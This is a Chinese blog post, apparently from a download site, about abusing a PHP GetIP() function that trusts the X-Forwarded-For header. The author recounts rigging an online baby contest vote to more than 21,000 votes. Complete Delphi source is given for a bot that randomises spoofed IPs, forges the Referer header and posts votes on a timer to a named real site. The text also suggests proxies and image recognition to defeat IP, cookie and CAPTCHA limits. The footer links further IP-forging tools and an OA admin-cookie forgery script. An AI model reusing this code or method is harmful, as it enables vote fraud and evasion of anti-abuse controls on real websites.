PHP中获得IP地址的一个函数,GetIP(),代码如下:
Code:
function GetIP(){
if($_SERVER['HTTP_CLIENT_IP']){
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
该函数获取的IP地址是可以绕过代理而仍能得到机器IP.
分析了函数代码后发现加了代理后,服务器获取的IP是来自变量:
$_SERVER['HTTP_X_FORWARDED_FOR']
这个变量是http头信息的一部分,是http头那就好伪造了,很激动,着手写测试代码,利用php的socket函数(注意这里不能用header()来发,这里是用php模拟http头向其他WEB服务器发送头信息)写了一个简单的测试代码,伪造了一个
X-Forwarded-For:IP地址
格式的头信息给服务器,然后再把投票表单POST到服务器,返回结果提示投票成功.兴奋中!喝了杯咖啡,换用DELPHI7 indy中的IdHTTP组件来进行POST提交,IdHTTP组件还可以直接象服务器发送头信息,设置COOKIE等,所以写这个投票作B程序非它莫属.程序中用了4个随机函数分别生成IP地址的4个段,然后用IDHTTP发送形如"X-Forwarded-For:IP地址"格式的头信息,为了更好的达到访真效果,再向服务器发送一个形如"Referer:URL地址"格式的头信息给服务器,伪造REFERER地址.为了更好的控制投票频率,还需要加个TIMER定时期,可以手动输入投票间隔时间,测试了一下,一秒投10次票很稳定.
最后记者朋友的宝贝女儿以21457票拿了第一名.
IDHTTP也可以使用代理,所以它可以用来对付限制IP,限制COOKIE的所有投票的作B,但是含有验证码的投票程序就不行了,这个可以使用图象识别来搞定.
整个代码如下:
Code:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP,StrUtils, ComCtrls, OleCtrls,
SHDocVw;
type
TForm1 = class(TForm)
web: TWebBrowser;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Timer1: TTimer;
ComboBox1: TComboBox;
Label6: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
i:integer;
implementation
{$R *.dfm}
function PostWebPage(url:String;TimeOut:Integer):String;
var
tmpWeb:TIdHTTP;
retrun:String;
para:String;
i:Integer;
paralist:TStrings;
ip1,ip2,ip3,ip4,ip:string;
begin
retrun:='';;
try
para:=MidStr(url,pos('?',url),length(url)-pos('?',url)+1);
paralist:=TStringList.Create;
paralist.Text:=StringReplace(para,'&',#13#10,[rfReplaceAll]);
tmpWeb:=TIdHTTP.Create(nil);
tmpWeb.ReadTimeout:=TimeOut;
Randomize;
ip1:= inttostr(1 + Random(223-58));
ip2:= inttostr(0 + Random(254-0));
ip3:= inttostr(0 + Random(254-0));
ip4:= inttostr(0 + Random(254-0));
ip:=ip1+'.'+ip2+'.'+ip3+'.'+ip4;
tmpWeb.Request.CustomHeaders.Add('Referer:http://baby.dukuai.com/');
//tmpWeb.Request.CustomHeaders.Add('HTTP_PC_REMOTE_ADDR:'+ip);
tmpWeb.Request.CustomHeaders.Add('X-Forwarded-For:'+ip);
for i:=1 to 3 do
begin
try
retrun:=tmpWeb.Post(url,paralist);
form1.web.Navigate('http://vote.dukuai.com//view.php?id=16');
except end;
if retrun<>'' then break;
end;
finally
tmpWeb.Disconnect;
FreeAndNil(tmpWeb);
FreeAndNil(paralist);
end;
Result:=retrun;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
temp:string;
begin
if trim(edit1.Text)<>'' then begin
temp:=PostWebPage(edit1.text,30000);
if temp<>'' then begin
//memo1.Text:=temp;
//memo1.Lines.SaveToFile('c:temp.htm');
//web.Navigate('c:temp.htm');
inc(i);
label2.Caption:=inttostr(i);
end;
end;
//timer1.Enabled:=false;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if self.Button1.Caption='开始' then
begin
timer1.Interval:=strtoint(edit2.Text);
timer1.Enabled:=true;
Button1.Caption:='停止';;
edit1.Enabled:=false;
edit2.Enabled:=false;
combobox1.Enabled:=false;
end
else
begin
timer1.Enabled:=false;
Button1.Caption:='开始';;
edit1.Enabled:=true;
edit2.Enabled:=true;
combobox1.Enabled:=true;
end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
edit1.Text:='http://vote.dukuai.com/vote.php?id=16&ITEM1='+inttostr(combobox1.ItemIndex+1)+'&VoteID=16'
end;
end.
分享到:
相关推荐
用协议头欺骗服务器,来造成伪造IP地址的效果!
结合HTTP扩展请求头 X-Forwarded-For 可以对客户端IP进行伪造 X-Forwarded-For 是一个 HTTP 扩展头部,用来表示HTTP请求端真实 IP,HTTP/1.1 协议并没有对它的定义,但现如今X-Forwarded-For已被各大 HTTP 代理、...
vc 伪造cookie 写cookie ,通过代码来改写你想要的cookie,可以伪造本地保存cookie 记录。
DELPHI7伪造ip头 仅供学习之用 很好的一个例子
可以伪造出http头,以达到修改请求来源的方法。
如何伪造IP 发送HTTP请求request.zip
注,需要安全scapy 在centos下,请执行以下脚本安装scapy #!/usr/bin sh cd /tmp wget scapy.net unzip scapy-latest.zip cd scapy-2.* python setup.py install 需要手工启动和杀线程关闭 经测python2可用
PHP 伪造IP 发送HTTP请求.zip
PHP 下好用的爬虫类 支持登陆抓取 伪造cookie
php 伪造IP和HTTP-REFERER的方法,对于采集,匿名投票等很有用处
源码可以伪造ip访问多数论坛网站,用于隐藏访问痕迹,还可以刷很多论坛的论坛币(如论坛中有:推广访问加金币的)
通达OA 前台伪造管理员登陆漏洞的cookie生成脚本,可以用以生成PHPsessionid,然后替换cookie,从而登陆通达OA后台。
vb系统操作100例,读写系统文件,注册表,伪造IP等先进技术 vb系统操作100例,读写系统文件,注册表,伪造IP等先进技术 vb系统操作100例,读写系统文件,注册表,伪造IP等先进技术
通过检查伪造IP地址防御DDoS攻击是高速链路上防御DDoS攻击的一种有效方法。由Wang Haining 等人提出的HCF在训练完全的情况下对伪造IP地址具有较强的检测能力。但由于网络流量构成的显著变化,网络流量的动态性明显...
利用php curl更改http头实现伪造IP
IP地址计算器 说明:学习使用VUE+html实现快速计算IP地址,可算可用地址、网络地址、最小可用ip、最大可用ip、广播地址。 功能:包含计算可用地址、网络地址、最小可用ip、最大可用ip、广播地址。 使用:打开index....
主要介绍了java 伪造http请求ip地址的方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.pdf宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.pdf宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.pdf宁盾物联网终端准入之哑终端IP及MAC...
宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.docx宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.docx宁盾物联网终端准入之哑终端IP及MAC地址防伪造解决方案.docx宁盾物联网终端准入之哑终端IP及...
伪造HTTP头VB 编写 源码实例 自己编写 亲测